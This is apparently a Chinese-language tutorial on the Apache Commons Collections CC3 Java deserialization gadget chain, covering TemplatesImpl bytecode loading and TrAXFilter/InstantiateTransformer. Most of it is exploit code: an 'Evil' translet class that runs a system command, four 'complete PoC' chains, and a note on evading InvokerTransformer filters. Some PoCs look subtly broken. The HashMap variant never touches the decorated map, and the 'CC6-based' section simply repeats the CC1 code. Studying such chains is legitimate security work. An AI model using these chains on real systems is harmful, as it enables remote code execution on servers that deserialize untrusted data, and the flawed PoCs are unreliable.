Java 反序列化:Apache Commons Collections CC3 利用链深度解析
字数 1814 2025-09-01 11:26:17
Apache Commons Collections CC3 反序列化漏洞深度解析
环境搭建
- JDK版本: 8u65
- Commons Collections版本: 3.2.1
- JDK下载地址: Oracle Java SE 8 Archive Downloads
前置知识
CC3利用链是在CC1或CC6的基础上进行改变的,需要了解以下内容:
-
CC1和CC6利用链:
-
Java类加载机制:
- Java类加载机制
- Java动态加载字节码
TemplatesImpl类分析
动态加载字节码原理
Java程序编译和执行流程:
- Java源代码编译为字节码(.class文件)
- 类加载过程:
loadClass: 从已加载类缓存、父加载器等位置寻找类(双亲委派机制)findClass: 根据基础URL制定的方式查找类,读取字节码defineClass: 处理字节码,将其转换为真正的类
TemplatesImpl关键方法
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中定义了内部类TransletClassLoader,它:
- 继承了
ClassLoader - 重写了
defineClass方法(默认default作用域)
ClassLoader.defineClass是protected的,不能被外部类直接调用,但TemplatesImpl中的defineTransletClasses方法调用了它:
private void defineTransletClasses() {
// ...
_class[i] = loader.defineClass(_bytecodes[i]);
// ...
}
defineTransletClasses内部还会执行run方法,需要:
_bytecodes: 要传入的恶意字节码(可通过反射修改)_tfactory: 必须是TransformerFactoryImpl对象,不能为空
调用链分析
-
TemplatesImpl.getTransletInstance()调用defineTransletClasses(),前提:_name不为null_class为null
-
TemplatesImpl.newTransformer()调用getTransletInstance(),且是public方法
完整利用链:
newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass()
恶意字节码构造
基本要求
TemplatesImpl对加载的字节码有要求:
- 必须是
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
示例恶意代码
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.IOException;
public class Evil extends AbstractTranslet {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
}
字节码处理
- 编译为.class文件
- 进行Base64编码
CC3利用链构造
基于CC1的CC3利用链
修改CC1的后半部分,使用TemplatesImpl代替Runtime.exec():
// 构造恶意TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {evilBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templates }
)
};
基于CC6的CC3利用链
原理与CC1相同,只是前半部分使用CC6的触发方式:
// 构造恶意TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {evilBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templates }
)
};
TrAXFilter类分析
ysoserial中的CC3利用链使用了TrAXFilter类:
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
// ...
}
关键点
TrAXFilter构造函数调用了templates.newTransformer()- 参数是
Templates对象 - 可以通过
InstantiateTransformer触发构造函数
InstantiateTransformer利用
InstantiateTransformer的transform方法:
public Object transform(Object input) {
if (input instanceof Class == false) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
构造利用链:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templates }
)
};
完整POC示例
CC3(TransformedMap)完整POC
// 构造恶意TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {evilBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templates }
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 构造TransformedMap
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
// 触发
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foo");
CC3(LazyMap)完整POC
// 构造恶意TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {evilBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templates }
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 构造LazyMap
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
lazyMap.get("anykey");
CC3(HashMap)完整POC
// 构造恶意TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {evilBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templates }
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 构造HashMap触发
HashMap hashMap = new HashMap();
hashMap.put("key", "value");
Map map = LazyMap.decorate(hashMap, chain);
hashMap.hashCode();
CC3(HashSet)完整POC
// 构造恶意TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {evilBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templates }
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 构造HashSet触发
HashSet hashSet = new HashSet(1);
hashSet.add("foo");
Map map = LazyMap.decorate(new HashMap(), chain);
Field field = HashSet.class.getDeclaredField("map");
field.setAccessible(true);
field.set(hashSet, map);
hashSet.add("bar");
优势与绕过
-
绕过InvokerTransformer限制:
- 如果过滤了
InvokerTransformer,可以使用InstantiateTransformer绕过
- 如果过滤了
-
版本兼容性:
- CC6+TrAXFilter组合能通杀Java 7和8版本